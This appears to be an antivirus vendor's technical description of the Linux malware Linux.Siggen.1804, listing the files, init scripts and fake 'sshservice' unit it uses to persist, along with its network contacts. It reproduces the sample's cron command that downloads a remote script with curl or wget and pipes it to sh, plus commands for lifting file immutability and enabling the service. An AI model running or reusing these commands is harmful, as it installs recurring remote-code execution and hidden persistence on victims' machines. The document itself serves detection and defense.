Linux.Siggen.1804

Technical Information

To ensure autorun and distribution:

Creates or modifies the following files:

/var/spool/cron/crontabs/root
/etc/cron.d/root
/etc/init.d/sshservice
/etc/init.d/.depend.boot
/etc/init.d/.depend.start
/etc/init.d/.depend.stop

Creates or modifies the following symlinks:

/etc/rc0.d/K01sshservice
/etc/rc1.d/K01sshservice
/etc/rc2.d/S01sshservice
/etc/rc3.d/S01sshservice
/etc/rc4.d/S01sshservice
/etc/rc5.d/S01sshservice
/etc/rc6.d/K01sshservice

Malicious functions:

Launches itself as a daemon

Manages services:

systemctl enable sshservice
/usr/sbin/update-rc.d sshservice defaults
systemctl daemon-reload

Launches processes:

/bin/sh -c echo \"*/10 * * * * (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh\" | crontab -
crontab -
<SAMPLE_FULL_PATH> /usr/sbin/sshd
/bin/sh -c chattr -i /usr/lib/systemd/system/sshservice.service
chattr -i /usr/lib/systemd/system/sshservice.service
/bin/sh -c export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin;chkconfig --add sshservice
/bin/sh -c export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin;systemctl enable sshservice
/sbin/insserv sshservice

Performs operations with the file system:

Modifies file access rights:

/etc/hosts
/var/spool/cron/crontabs/tmp.hss77Y
/etc/cron.d/root
/var/spool/cron/root
/var/spool/cron/crontabs/root
/var/spool/cron/crontabs/tmp.hduTyF
/var/spool/cron/crontabs/tmp.uw9qzS

Creates or modifies files:

/etc/hosts
/var/spool/cron/crontabs/tmp.hss77Y
/var/spool/cron/root
/tmp/.XImunix
/var/spool/cron/crontabs/tmp.hduTyF
/var/spool/cron/crontabs/tmp.uw9qzS
/usr/local/sbin/sshd
/usr/lib/systemd/system/sshservice.service

Locks files:

/tmp/.XImunix

Network activity:

Establishes connection:

<LOCAL_DNS_SERVER>
[2########::f03c:91ff:fe70:2b9d]:9
17#.#8.123.25:9
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19#.##8.1.175:8080

HTTP GET requests:

id##t.me/

DNS ASK:

id##t.me

Technologies

Terminology

Training and education

Myths

Technical Information

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